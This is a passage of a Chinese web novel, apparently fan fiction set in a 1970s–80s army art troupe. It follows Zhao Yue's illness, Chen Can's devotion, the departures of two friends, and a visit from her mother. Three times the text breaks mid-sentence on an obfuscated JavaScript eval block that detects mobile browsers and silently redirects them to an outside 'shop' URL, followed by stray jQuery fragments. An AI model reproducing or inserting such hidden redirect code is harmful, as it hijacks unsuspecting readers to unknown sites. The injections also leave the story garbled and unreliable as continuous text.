兆悦缩在服装组最里面的角落,被一叠叠叠得整齐的道具服半掩着,像只躲进棉絮里怕冷的小猫。
布料一层层挡风,才勉强攒出一点暖意,可她还是冷,冷得从骨头缝里往外透着凉。
陈灿掀开布帘走进来的时候,一眼就看见了她。
宽大的军绿色大衣裹着她整个人,显得格外单薄瘦小。
小脸惨白得没有一丝血色,嘴唇也泛着淡淡的青,眼睛半睁半闭,蔫蔫地垂着,连抬眼看人都带着几分费力,整个人萎靡得没一点精神。
他放轻脚步蹲到她面前,声音放得极柔:“怎么躲这儿来了?也不叫人。”
兆悦缓缓掀了掀眼皮,慢吞吞看了他一眼,声音轻得像飘在风里,细弱又沙哑:“冷……这里暖和点……”
话没说完,就轻轻喘了口气,头往大衣里又缩了缩,虚弱得连说话都断断续续。
陈灿心都揪紧了,伸手轻轻碰了碰她的额头,温度依旧有些发烫。
“难受就说,别硬扛。”他把自己身上的军大衣又往她身上拢了拢,裹得更严实,“我在这儿陪你。”
兆悦乖乖任他摆弄,只是微微嘟了下嘴,有气无力地抱怨:“头晕……浑身没力气……”
“那睡一会儿,我守着你。”
兆悦轻轻摇了摇头,动作慢得几乎看不见,气息浅浅地贴在大衣领口:“不睡……你陪着,我就好点……”
陈灿被她这副病恹恹又带着娇气的模样勾得心头发软,忍不住低笑,伸手轻轻刮了下她微凉的鼻尖。
兆悦没力气跟他闹,只轻轻眨了眨眼,睫毛在苍白的脸上颤了颤,有气无力地软声道:“别闹……我是真的难受……”
说完便没了多余的力气,下意识往他那边挪了挪,想靠近点取暖,动作慢得发软,整个人都轻飘飘的。
陈灿立刻伸手,轻轻扶着她的后背,让她靠得舒服一点,力道轻得不敢碰疼她。
“别动,我在。”他声音压得很低,带着心疼,“等好点,我带你再去看雪山,这两天比那天还好看。”
兆悦轻轻“嗯”了一声,眼睛重新半阖起来,安安静静地缩在他视线里。
杭春明刚结束一个节目,趁着间隙轻手轻脚掀开服装组的布帘,一进来就看见陈灿守在角落,安安静静陪着已经睡熟的兆悦。
女孩缩在厚厚的军大衣里,眉头微蹙,脸色依旧苍白,呼吸浅而轻,睡得并不安稳。
杭春明往兆悦脸上扫了一眼,又看向寸步不离的陈灿,忍不住压低声音,带着几分打趣揶揄:
“可以啊陈灿,守得这么紧,倒像故事里那位十七爷。”
陈灿眉头微蹙,声音压得极低,生怕吵醒兆悦:“什么十七爷?”
“你不知道也正常。”杭春明轻笑一声,同样放轻语调,“这是兆悦小时候跟我们讲的故事,说清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309161|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝有个王爷,陪着心爱的妃子远在边地寺庙,妃子发了热,他就自己跑到雪地里躺着冻透,再用冰凉的身子贴上去给她降温。”
他顿了顿,纯属随口一提,却偏偏往陈灿心上扎了一句:“从小兆悦就说,杨铮那性子,最像十七爷,玉树临风,又痴情得很。”
这话一落,陈灿眼底立刻掠过一丝不服气,醋意混着心疼一股脑冲上来,脑子一热,竟真的昏了头。
他小心翼翼松开扶着兆悦的手,轻得不能再轻地脱下自己身上的军大衣,放在一旁,转身就悄声快步跑出了帐篷。
外面寒风刺骨,雪意冰凉,他直接站在风口里,任由冷风往衣领里钻,冻得浑身发僵、指尖发凉,直到摸上去浑身都透着寒气,才咬着牙重新跑回来。
兆悦睡得昏沉,原本浑身发烫、闷得难受,迷迷糊糊间,却忽然触到一片清清凉凉的暖意,不冰人,却刚好压下她身上的燥热。
那凉意像雪水浸过的棉,一点点裹住她,烫意慢慢散了,她眉头渐渐舒展,呼吸也沉了下去,睡得格外安稳。
这一切,都被门口的何小萍静静看在眼里。
她刚拿东西路过,一掀布帘,只看见陈灿安安静静守在兆悦身旁,一动也不动,生怕惊扰了她睡觉。
杭春明就站在门边,陈灿做了什么也看得清清楚楚。
两人都没出声,默契地轻轻退到外面,不打扰他们。
一离开服装组,杭春明才压低声音,把刚才陈灿跑出去吹冷风、把自己冻透再回来守着兆悦的事,一五一十跟何小萍说了。
杭春明原先是想笑话陈灿的。
结果何小萍听完,安静地看了他一眼,轻声道:“你看看人家陈灿做的。”
杭春明脸上立刻有点挂不住,不是真生气,就是被噎了一下的嗔怪,小声嘀咕:“看他干什么,真是痴心痴疯了……”
兆悦自然不知道陈灿那夜为她做过的傻事,只知道那场昏沉的发热,竟好得比预想中快了许多。
两个星期一晃而过,演出正式落幕。
众人在漫天飘洒的雪花里列队集合,天地间一片素白安静。
陈灿站在队伍里,目光下意识地、轻轻柔柔地落在兆悦身上。
她已经好了大半,脸色虽还有些浅淡,却早已恢复了往日的精神,不再是那个蜷缩在服装间里虚弱萎靡的模样。
这一次,没有意外,没有别离。
没有要被匆匆送走、独自奔赴前路的何小萍,没有沉重的叮嘱,没有无声的心酸。
所有人只是整理好行装,依次上车,准备返回文工团。
一切平静、安稳,顺理成章。
旧剧本里最刺骨的那场离别,终究没有上演。
而且跟着这份平稳生活一起来的,还有一个好消息。
刘峰虽然把学习机会让给了别人,可组织从不会亏待真正的模范。
这一次,他被正式提拔为正连职。
没有委屈,没有构陷,没有被人遗忘在角落。
他的善良、本分与付出,终于被看见、被承认、被好好对待。
80. 原来
1978年年初,□□已然落幕,天地间慢慢透出复苏的气意,唯有天气依旧冷得刺骨。
兆悦身子刚好不久,便懒得动弹,常常裹着大衣缩在屋里,安安静静地待着。
她心里隐隐惦记着自己那本《成长边缘》,如今风气渐开,稿子或许可以试着投稿发表了。
只是她并不着急,一切都在慢慢变好,不必急于一时。
文工团里正是最忙的时候,时而训练,时而演出,日程排得满满当当。
一切都在往好的方向走,旧的伤痕渐渐淡去,新的日子,正安安稳稳地展开。
1978年这一年,团里风气抓得紧,大家心思又都格外浮动,政委看得严,纪律抓得格外重。
兆悦和陈灿私下碰面的次数一下子少了许多,更别提像从前那样亲近。一个月能偷偷见上一两次,都得小心翼翼、提心吊胆,生怕被人看见。
从前,刘峰常常会叫上兆悦、陈灿、杭春明、何小萍几个人,去仓库那边聚一聚。
有时是他亲手做了些好吃的,有时就是几个人坐在一起随便聊天,那间仓库,是他们几个人心照不宣的小根据地。
可现在,这些也都少了。
刘峰已经升任文工团的政治指导员,管思想、管政治学习、管作风纪律,坐了办公室,身份不一样了,自然不好再带头私下聚玩闹。
那间曾经舞美组的仓库,渐渐安静下来,再也不是他们可以随意放松的地方了。
日子一晃,团里悄然变了模样。
不过几年光景,当初那些还带着少年气的队员,眉眼间都渐渐褪了稚气,慢慢有了大人的轮廓与担当。
大家的心思也跟着成熟活络起来。
团里暗生情愫的人渐渐多了,不少人悄悄把心事藏在眼底,或是借着一次排练、一场演出递个眼神。情窦初开的又添了几对,小心翼翼的相处着,在这微凉的岁月里,悄悄发着芽。
就连兆悦的父母来信里,也渐渐开始提起这些婚姻嫁娶的事,毕竟这个年代结婚都早,但是兆悦还很年轻,所以没有逼得很紧。
当年兆悦被父母安排调到一线演出时,他们还太年轻。
陈灿一听说自己喜欢的姑娘在前线出了事、没了消息,整个人当场就垮了,萎靡得不像话。
陈灿的父亲——那位陈副司令,心里跟明镜似的,一通电话直接打到了兆国斌这里。
只是他到底没明说缘由。
毕竟都是半大不小的孩子,这会儿爱得死去活来、为了对方失魂落魄,说不定过阵子心思就变了。陈副司令打心底里,也不觉得自己儿子这份喜欢能有多长久。
所以电话里,他只是语气淡淡地、婉转地问了几句兆悦的情况。
领导问话,哪里还需要什么正经理由。
兆国斌只当是自己刚升任师长,女儿又在一线,上级领导关怀,问几句,压根没往儿女情长那方面多想。
谁也没料到,当初那点少年心动,竟一路熬到了现在。
这一年秋天,真真是个多事之秋。原以为日子已经平淡得像一碗静水,谁也没料到,竟会在顷刻间掀起滔天巨浪。
闫展博要走了。
那天来接他的人里,站着一个陌生的年轻男孩,身姿挺拔,气质斯文,看向闫展博的眼神里藏着旁人一眼就能看穿的温柔与笃定,全然不是亲人之间的淡然。
闫展博只轻描淡写说,是自己表哥,可兆悦只看了一眼,便在心里摇了头——这两人站在一起的气场、眼神交汇时的默契,根本就不是寻常亲戚。
闫展博也没有瞒她,寻了个没人的角落,一五一十对兆悦说了实情。
他与这个男孩相识于文字,是相交多年的笔友。两人隔着遥远的距离,只因读同一本书、偏爱同一段文字、欣赏同一种风骨,一来二去便通上了信,这一写,便是整整好几年。
信里不谈世俗,只聊书籍、聊思想、聊心里藏着的远方,彼此早已是灵魂相惜的知己。
直到前段时间,男孩特意赶来看他,两人第一次真正见面,却没有半分生疏,反倒像是早已相识了半生。
也就是那次见面,他们下定决心,要一起离开这里,去往更远的地方,而男孩即将前往宾夕法尼亚,闫展博便决定与他同行。
兆悦静静听着,心里又酸又涩。
这是她第一次在这个时代真正直面离别。相处这几年,她早把闫展博当成了知心投缘的好友,无话不谈;而闫展博对她,亦是如此。
能在这样的年代、这样的地方遇见一个性格相投的人,太难得了。
临走之前,闫展博拉着兆悦,语重心长地叮嘱:“我和陈灿接触不多,不清楚他到底是什么性子,但我能看出来,他对你,是真心的好。”
兆悦只是轻轻点了点头,没有说话,眼底藏着说不出的酸涩。
直到闫展博和那个被他称作“表哥”的男孩踏上离开的车,兆悦依旧站在原地,远远望着,直到车子消失在路的尽头。
陈灿一直不太明白,为什么兆悦和闫展博的关系会那么好。
回去的路上,兆悦轻声对他说:“你要允许这个世界、这个社会上,有多种多样的人存在。他们也许在一些地方,和普通人不一样。”
陈灿回想平日里的闫展博,确实和其他男兵不同。
他讲究、干净、心思细腻,很少和大伙扎堆打闹,偏爱看书,喜欢诗词歌赋、风花雪月。
与其说他是个男孩子,倒不如说,他的举止做派、心性品味,都更像个温柔细腻的姑娘。
陈灿也渐渐想明白了,在兆悦心里,闫展博更像是何小萍、沈一娣那样的存在——只是投契的知己,是无话不谈的好友,并无半分旁的心思。
想通这一层,他心底那点莫名的醋意与别扭,才终于彻底放下。
一切平淡下来,日子便过得飞快。
转眼到了1979年春天,对越自卫反击战打得迅猛,结束得也突然。文工团接到命令,整队前往前线慰问演出。
唯独萧穗子被留了下来。
她文笔好是全团公认的,宁政委亲自点了她,派去更靠前的阵地,协助拍摄纪录片,负责整理文字素材。
临行前夜,队伍整装待发,气氛安静又凝重。
萧穗子下意识望向陈灿,这一眼,却让她心里猛地一沉。
陈灿没说话,也没跟任何人打闹,只是安安静静站着,目光一眨不眨,落在乐队前方那一处。
那里,郝淑雯正和兆悦挨在一起低声说话,两人神态轻松,像平日里无数次那样闲聊。
可他望着的究竟是谁,萧穗子不敢确定,也看不清。
她只在心里隐隐偏向一个答案——是郝淑雯。
毕竟这么久以来,一直是郝淑雯主动找他说话、跟他互怼、跟他你来我往,她都看在眼里。
萧穗子站在原地,心里堵得厉害,满腹说不清的滋味。
最终,她什么也没说,带着这团沉甸甸、无人知晓的心事,转身奔向了炮火未歇的更前线。
这一次奔赴更前线的战场,队伍里没有刘峰,也没有何小萍,他们依旧留在后方的文工团。
所以等萧穗子完成任务归来时,一路上什么也没多说,没有激动,没有感慨,只是整个人看上去心事更重了,眉眼间压着一层化不开的沉郁,比从前更加沉默寡言。
前线慰问演出归来,日子重归平静,兆悦心底那段尘封了许久的心思,也悄悄浮了上来。
她始终没有告诉陈灿自己真正的家庭背景,而陈灿也一副毫不在意的模样,从来不曾多问过半句。
兆悦心里清楚,陈灿不多问,也不多说自己的情况,或许是觉得家世背景本就无所谓,又或许是两人的感情还远没到谈婚论嫁的地步,压根不必提及这些。
她虽靠着从前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309162|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记忆,早早知晓了陈灿的家境,可对方不说,她便也装作一无所知,只当他是和自己一样、普通的子弟兵,维持着眼前这份干净纯粹的感情。
谁也没有想到,他们这几个朝夕相伴的小圈子里,第一个要离开的人,会是杨铮。
临走的前一天,杨铮特意寻了个安静的角落,单独叫住了兆悦。
他年纪与刘峰相近,却始终只是团里一名普通的小提琴手,没有耀眼的标兵称号,也没有拿得出手的军功,平凡得近乎沉默。
他的家庭条件尚可,背景不算单薄,家里向来不看好文艺兵这条路,总觉得吹拉弹唱、蹦蹦跳跳算不上正经职业。
当年政委专门对刘峰说过的那番敲打告诫,杨家也是早有耳闻,机关看不上文艺兵,所以更坚定了要让他离开文工团的心思。
家里早已为他铺好了后路,安排他回老家进入税务局工作,稳定体面,只等他回去便即刻上任,再顺势成家立业。
杨铮望着兆悦,声音轻而平静:“我这次走,就不回来了。家里安排得很妥当,我也没有别的选择。”
兆悦怔怔地看着他,一时不知道该说些什么。
他沉默了片刻,目光轻轻垂了下去,再抬起时,眼底藏了多年的情绪终于不再遮掩。
“兆悦,我今天叫你过来,是有些话,再不说就来不及了。”
从年少起,这份心思就在他心底生了根。
这么多年,他一直守在她看得见的地方,安静陪伴,默默关照,从不越界,也从不声张。
他看着她笑,看着她闹,看着她与陈灿越走越近,始终把所有的喜欢都藏在沉默的陪伴里。
他不是不心动,只是不敢说;不是不在意,只是不能争。
“我喜欢你,好多年了。”杨铮的声音很轻,却异常清晰,“我知道你心里有陈灿,我从来没想过要打扰你们。我只是……不想带着这个秘密走。”
“以后没有我在旁边,你也要照顾好自己。”
兆悦整个人都僵在原地,大脑一片空白。
她张了张嘴,喉咙发紧,一个完整的字都吐不出来,只剩下满眼的错愕与后知后觉的酸涩。
她一直以为杨铮是圈子里最安稳、最无害的好友,却从未想过,那份不远不近的陪伴,竟然藏着这么沉的心意。
那些被忽略的细节、那些沉默的注视、那些恰到好处的关照,在这一刻突然全部串联起来,有了最合理的答案。
她愣在原地,许久许久,只轻轻挤出几个破碎的字眼。“……我从来不知道。”
“杨铮,我……”
剩下的话,全都堵在了心口,化作无言的怔忡。
他轻轻叹了口气,语气里没有半分强求,反倒像极了从前那个护着她的大哥哥。
他往前微倾了倾身,声音温柔得像风里的落叶:“别太在意,也别往心里去。这些年我不说,是因为我清楚,我的心意不能连累你,更不能打乱你现在的安稳。”
他顿了顿,眼底漾开一点释然的笑意,却又藏着几分说不清的怅然:“今天告诉你,不是想让你为难,也不是盼着你能回应什么。
我只是觉得,人这一辈子,总得给自己的这点心思,留个圆满的结局。我带着它走,也算不辜负自己这么多年的喜欢。”
“你就当听了个旧事,”他轻轻拍了拍兆悦的胳膊,语气格外温和,“以后好好的,和陈灿好好的。文工团的日子还长,别因为我这点事,乱了自己的心。”
兆悦终于抬起头,眼眶红得厉害,嘴唇动了动,却还是说不出一句完整的话。
她只能看着杨铮,看着这个安静了她整个青春的人,最后一次用那样温柔的语气,替她抚平了所有不知所措。
风轻轻吹过,卷起地上的几片枯叶。
杨铮转身离开的背影,清瘦又干脆,像是在为这一段藏了多年的心事,画上一个平静的句点。
81. 到来
听到杨铮的话,兆悦心里怎能没有感触?
这几日,她整个人都提不起精神,眉宇间总笼着一层挥之不去的闷郁。
倒不是懊恼当初没回应杨铮,而是懊恼自己太过迟钝,竟从未察觉这位多年好友心底藏着这般沉重又隐秘的情意。
其实也怪不得她。杨铮向来是个极克制、极善于隐藏情绪的人。
这么多年,他把所有的喜欢、守护与不舍,都细细密密地藏在沉默的陪伴里,不声不响,不逾矩,旁人又怎能轻易猜透?
杨铮离开这事,杭春明最先看出了她的不对劲。
凭着这些年的默契,他约莫是猜到了与杨铮的离开有关。
作为旁观者,他或许比兆悦多窥见了一点点杨铮眼底的情绪,便径直找了过来。
“怎么了?这几天跟丢了魂似的。”杭春明递过一块刚洗好的水果,语气平常。
兆悦捏着水果,指尖泛白,沉默了片刻,终究还是说了实话:“杨铮走了。他跟我……说了些话。”
杭春明闻言,脸上的轻松瞬间淡了下去,取而代之的是一种说不清的怅然。他叹了口气,语气复杂:“我早该猜到的。他那个人,太能藏了。”
两人并肩坐着,谁也没再说话,空气里弥漫着对故人离去的惋惜与无奈。
另一边,杭春明看着不远处的陈灿,心里也明镜似的。
他隐约猜到陈灿绝非普通子弟,毕竟能轻易弄到录音机,又能拿出亮闪闪的金项链,这身份本就非同一般。
可这话不好直接问,显得太过势利,万一问出口,连同兆悦的心思也一并暴露了,反倒不好收场。于是,他也一直按兵不动,装作不知,只把这点疑虑压在心底。
日子一晃,1979年正式落幕,1980年的钟声敲响。
迈入八十年代的第一天,兆悦忽然想起了电影里的那个片段。
那是1980年的夏天,文工团分队长正带着大家加紧排练。
陈灿坐在自行车上说了一句:“还练什么呀?文工团都要解散了。”
也就是在那一刻,他副司令员的身份被公之于众。
这消息引来了郝淑雯极大的兴趣,也成了日后她主动找上陈灿、两人走到一起的契机。
而那一天,陈灿说完话骑着自行车离开,在大门口被车撞了。
兆悦想到这里,心里莫名一紧。
她肯定不能直接告诉陈灿“你某天会被车撞”,电影里没有具体日期,总不能让他整日提心吊胆。
于是,私下相处时,她总是有意无意地提醒:“你以后骑自行车慢点,小心点。”
陈灿却没太把这叮嘱放在心上,反倒笑着凑过来打趣她:“怎么现在这么宝贝我,这么珍惜我了?”
兆悦又气又急,却只能压着心慌瞪他一眼,陈灿只当她是单纯的关心,笑着答应:“知道了,放心吧。”
至于那场未卜的车祸,兆悦藏在心里,只化作了日常里细碎的叮嘱,希望能以此避开,或是哪怕减轻一点伤害。
1980年的春天,日子越往夏天靠近,兆悦的心就越揪得紧,虽勉强沉得住气,可那份藏在心底的急切却一日重过一日。
也是在这个春天,陈灿的身份第一次半公开地露了端倪,杭春明也成了小圈子里最早知晓真相的人。
此时部队里已经悄悄刮起了风向,军师一级的文工团,大概率要陆续解散。
这个消息自然第一时间传到了陈副司令员的耳朵里,他随口跟陈灿提了一句,也是提点儿子早做打算——无非是转业或是复员,提前规划好出路。
陈灿没多想,在男生宿舍里无意间跟室友念叨了一嘴。这话一字不落地落进了同住的杭春明耳朵里。
杭春明表面不动声色,装作什么都没听见,心里却早已翻起了浪。他强压着震惊,等到当天晚上一有空,立刻急匆匆地去找兆悦。
一找到没人的角落,他就拽着兆悦,声音压得低又急:“兆悦,出大事了!陈灿他……他是昆明军区副司令的儿子!我今天在宿舍亲耳听见的,错不了!”
他本以为兆悦会惊得跳起来,可她只是轻轻“哦”了一声,脸上平静得不像话,甚至平淡得有些过头,像是早就知道了一般。
杭春明愣了愣,狐疑地看着她:“你……你早就知道?”
兆悦垂了垂眼,轻声道:“我不知道。”
杭春明琢磨了会儿,也觉得合理,叹道:“也对,你们天天在一块儿,他那做派、那东西,录音机、金项链,哪是普通人家能拿出来的?你就算没明说,心里也早有数了。”
他跟着又兴奋起来,“这下好了,他家境跟你家门当户对,他又对你是真心的,这么好的人,你可得抓住啊!”
兆悦听得又无奈又纠结,眉头轻轻皱起:“不是我愿不愿意的问题,是他到现在,半句正经话都没说过。在他那儿,好像什么都无所谓,走一步看一步,我能怎么办?”
这话一出,杭春明也跟着愁了。他原本还想替两人撮合,这下也没辙了,只能跟着一起干着急。
而这边着急归着急,另一边,杭春明自己的事倒是落定得飞快。
他和何小萍不一样,何小萍没有管束严苛的家庭,也不用讲究什么门当户对。两人一商量,何小萍不愿意回她那个所谓的老家,直接跟着杭春明走。
这事定得又快又干脆。杭春明家里本就开明包容,一封家书寄回去,父母立马点头同意,甚至已经开始在老家张罗着给他们准备婚事。
看着杭春明和何小萍日子过得热热闹闹,前路明了,一步一步都踩在实处,兆悦心里就更急了。
别人的未来都有了着落,只有她和陈灿,还悬在半空中,摸不着边。
杭春明把她的心思看得明白,却也只能干着急。
谁也没先开口点破,反倒是远在大院里的长辈,先乱了阵脚。
杭春明往家里寄的那封家书,很快就有了回音。
而他家和兆悦父母本就住在同一个军区大院,平日里消息本来就互通,这事一传开,兆悦父母当天就知道了。
听说杭春明在文工团里找好了对象,连婚事都要定下来,兆悦父母哪里还沉得住气。
自家女儿这个年纪,正是谈婚论嫁、最该定下来的时候,可在文工团待了这么多年,感情上却始终没个准信,半点着落都没有。
苏琴两人本就控制欲强,这下更是彻底坐不住,当即就打定主意,要给兆悦安排一门稳妥的亲事。
而他们挑中的人,竟然是齐威。
想来也合情合理。
齐威从这边离开后,一直没有结婚,回到大院后也是一路升迁,如今官职更高,前途一片光明,条件水涨船高。
在长辈眼里,他家世清楚、人品稳重、事业有成,无论从哪方面看,都是再合适不过的人选。
于是,在寄给兆悦的家信里,苏琴两人第一次明明白白地提起了齐威,话里话外,都是要让她和齐威喜结连理的意思。
兆悦看完信,手心全是汗,心里越发慌乱。她太清楚父母的控制欲了,这两人一旦铁了心要促成这门亲事,自己根本拦不住。
这份焦灼压得她喘不过气,她当晚就把信拿给了杭春明。
彼时杭春明干脆带着何小萍一起找了过来,反正两人。
兆悦把家信递过去,声音发涩:“我爸妈……点名让我和齐威处处看。”
谁能想到,最先压不住火的,竟然是一向安静的何小萍。
她一把抓过信匆匆看完,眼底的火气瞬间就冒了出来,她太懂兆悦的处境,也太心疼她这些年的隐忍与委屈。
很久之前第一次拉练结束,回程路上兆悦独自躲在一旁掉眼泪,就是何小萍安安静静陪在她身边。
那时候兆悦心里的迷茫与酸涩,何小萍全都看在眼里。后来这些年,兆悦和陈灿之间的点点滴滴,她也一样没落下。
尤其是在云南雪山,兆悦突发高原反应,陈灿当场脱下自己的棉大衣,用体温一点点帮她降温。
那一幕,何小萍至今都记得很清楚。
她实在想不通,两个人明明彼此放在心上,却偏偏要把话都憋在心里,迟迟不肯往前迈一步,非要拖到如今被家里逼着相亲的地步。
杭春明在旁边沉默了片刻,轻轻拉了何小萍一把,把她叫到一边,压低了声音。
“有些事,我一直没跟你说,我告诉你哈……。”
何小萍抬头看他:“什么事?”
“兆悦从来没跟任何人提过自己家里的情况,陈灿到现在,一点都不知道她的家世。”杭春明顿了顿,语气更沉了几分,“还有陈灿……你知道他是谁吗?”
“他不就是陈灿吗?”何小萍皱起眉。
“他是昆明军区副司令员的儿子。”
何小萍当场愣在原地,眼睛猛地睁大,好半天才憋出一句:“我去……这么厉害?”
她不是电影最后那个对世界充满失望与疏离的模样,在杭春明的陪伴下,性子变得开朗又踏实。
只是短暂的惊讶过后,何小萍眉头立刻紧紧皱了起来。
那他为啥一直不跟兆悦说清楚?”
杭春明无奈摇头:“我哪知道。不过照现在这情况,他心里肯定是有数的,只是不知道怎么开口,也不知道该往哪一步走。”
“那也不能一直不当回事啊!”何小萍声音压得低,却带着点火气,“兆悦都被家里催着相亲了,陈灿这边半点动静都没有。这算什么事儿?”
她心里瞬间冒出一个念头——陈灿是不是因为家世差距,才一直拖着不表态,等到最后干脆抽身离开,让悦儿姐一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309163|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人难堪。
她绝不能让这种事情发生。
她想了想,眼神骤然坚定下来:“不行,我得去跟他说清楚。不能让他一直这么拖着,把悦儿姐给耽误了。”
杭春明赶紧拉住她:“你别冲动,跟他说不好。”
“那你说怎么办?”何小萍瞪着他,“就这么看着兆悦被家里逼着去见齐威?你忍心吗?”
杭春明沉默了几秒,缓缓吐出一口气:“要不……我去把他叫过来,你当面问?你比我更能拿捏住话头。”
何小萍盯着他看了两秒,点了点头:“行,你去叫。但我得把话说在前头,今天这事,必须问明白。”
杭春明站起身,拍了拍她的肩:“我知道。我去叫人,你放心。”
其实在杭春明和何小萍的相处里,一直是何小萍拿主意,杭春明对她百依百顺,甚至带着几分迁就与纵容,只要是她开口,他从不敢拒绝。
杭春明嘴上应着,心里却暗暗替陈灿捏了把汗。
他太清楚何小萍的性子,看着温和安静,真较起真来半点不含糊。
可转念一想,陈灿拖拖拉拉这么久,也确实该有人站出来,狠狠把他点醒一回了。
杭春明刚把陈灿叫到排练厅门口,两人还没来得及开口,巡查的干事就拎着手电走了过来。几人只好装作闲聊,草草散开,一肚子话全堵在了喉咙里,只能改天再找机会。
第二天一早,何小萍和杭春明憋着一肚子火气,打算一见到陈灿就把话摊开说透。
可左等右等,愣是没见着人,一打听才知道,陈灿一早请了假,偷偷跑出去烫头发了。
等到第二天上午,陈灿才兴冲冲地回来,头顶一头时髦又精神的烫发,走路都带着轻快的劲儿,满心想着要给兆悦一个惊喜,还打算在大伙面前好好秀一秀。
可他刚踏进文工团院子,迎面就碰上了郝淑雯和萧穗子。
郝淑雯上下扫了一眼他的新发型,当即抱着胳膊嗤笑一声,毫不客气地打趣:“哟——陈灿,你这是去哪儿捯饬了?烫个头怎么跟卷毛狮子似的,想帅也不用这么夸张吧?”
陈灿伸手拨了拨头发,不服气地回嘴:“你懂什么,这是今年最时髦的样式。”
一旁的萧穗子看得有些不好意思,脸颊微微一红,细声细气地补了一句:“我觉得……挺好看的,比之前精神多了。”
陈灿得意地扬了扬下巴,不想再和她俩说什么,正想等兆悦来了让她看看。
结果一抬眼,就看见不远处政委陪着一个中年女人,正领着兆悦往办公室方向走。
穿着得体考究的女人,脸上挂着几分客气又疏离的格式化微笑,保养得宜,气质端庄,一看就不是普通人。
陈灿愣了一下,心里微微遗憾,想着兆悦这时候被叫走,倒是错过了看他新发型的机会。
他没多想,只当是团里来了外单位的人,这些年常有别的文工团或是宣传部门来借调人才,临时串场帮忙演出是常有的事,他自然而然就往这方面归了类,笑着摇了摇头,便先回了宿舍。
他不知道的是,这个女人根本不是什么外单位的领导,而是兆悦的母亲——苏琴。
这件事,还要从一个月前兆悦寄回家的那封含糊其辞的回信说起。
苏琴太了解自己的女儿了,短短几句模棱两可的答复,她立刻就捕捉到了关键信息——兆悦在文工团里,八成已经有了相处的人。
这可把她和兆国斌急坏了。
夫妻俩控制欲本就极强,最怕兆悦一时糊涂,看上一个家世普通的子弟兵,将来委屈了自己。
在他们眼里,如果女儿非要嫁一个没背景的普通人,那他们宁愿招一个上门女婿,牢牢把人攥在手里,也绝不能让兆悦就这么“下嫁”。
可兆悦的回信遮遮掩掩,问也问不出实话,夫妻俩越想越慌。
苏琴当即一拍桌子,拿定了主意。
“我直接去她的文工团。”这是人生大事,半点儿含糊不得。
兆国斌也立刻点头支持,两人行事向来雷厉风行,苏琴当天就请了假,收拾东西直奔文工团。
而今天,正是她找上门的日子。
兆悦一看见走廊尽头站着的苏琴,心里就咯噔一下,瞬间明白母亲是为了什么而来。
可奇怪的是,这一次她并没有像往常那样,被父母强烈的控制欲压得喘不过气。
她甚至悄悄松了口气。
母亲没有一上来就逼她立刻和齐威定下来,也没有强硬地命令她必须怎么做。
而兆悦心里反倒冒出一个念头——说不定,母亲的出现,反而能狠狠刺激一下迟迟不肯表态的陈灿。
有些话,她不好意思说,旁人逼不出来。
可有些事,或许只要一个契机,就能彻底捅破那层拖了太久的窗户纸。
82. 出事
苏琴自然不好当着政委的面直接过问女儿的私事,只端着得体的笑容,随口找了出差顺路、过来看看孩子的理由。
宁政委听了也没多问,笑着点头,十分识趣地把办公室留给母女二人,自己先行回避。
这是兆悦第二次待在政委的办公室里,只是这一次,对面坐着的是她的母亲。
门一关上,苏琴脸上的客套瞬间褪去,单刀直入地开口:“别跟我打马虎眼,你老实说,你在这儿是不是已经有相处的对象了?”
兆悦沉默了片刻,知道再也瞒不下去,索性抬眼,如实说了出来:“是,我跟陈灿在一处。他是昆明军区副司令员的儿子。”
这话一出,苏琴整个人都愣了愣,随即眼底瞬间漾出藏不住的笑意。
之前所有的担忧、顾虑、控制欲,在这一刻全都烟消云散。
她瞬间联想到之前兆悦上前线的时候,那位副司令员亲自打电话来过问的情形,一切全都说得通了。
副司令员的儿子,家世相当,背景匹配,再没有比这更合心意的人选。
苏琴一刻也坐不住,当即起身,借口四处转转,径直往排练厅和训练场走去。
团里的战士们只当是上级单位来视察工作的领导,一个个精神抖擞,训练得更加卖力,谁也没有多想。
陈灿自然也在其中,作为团里的独奏号手,他功底扎实、实力亮眼,吹号时身姿挺拔,模样十分惹眼。
只是苏琴的目光落在他那头时髦的卷发上,实在恭维不来,心里暗自嘀咕:这小伙子,怎么还搞这么花哨的发型,看着倒有点花头。
可转念一想,对方是副司令员的儿子,家境优渥,时髦一点、张扬一点,也再正常不过。
想通这一层,苏琴心里只剩下满意。
她没再多逗留,转身回去找到兆悦,语气是从未有过的轻快与笃定:“既然是这样,那你们就好好相处。我和你爸在家等你的好消息。”
说完,苏琴一刻不耽误,请假本来就不长,不能久待,当天中午就满心欢喜地离开了文工团。
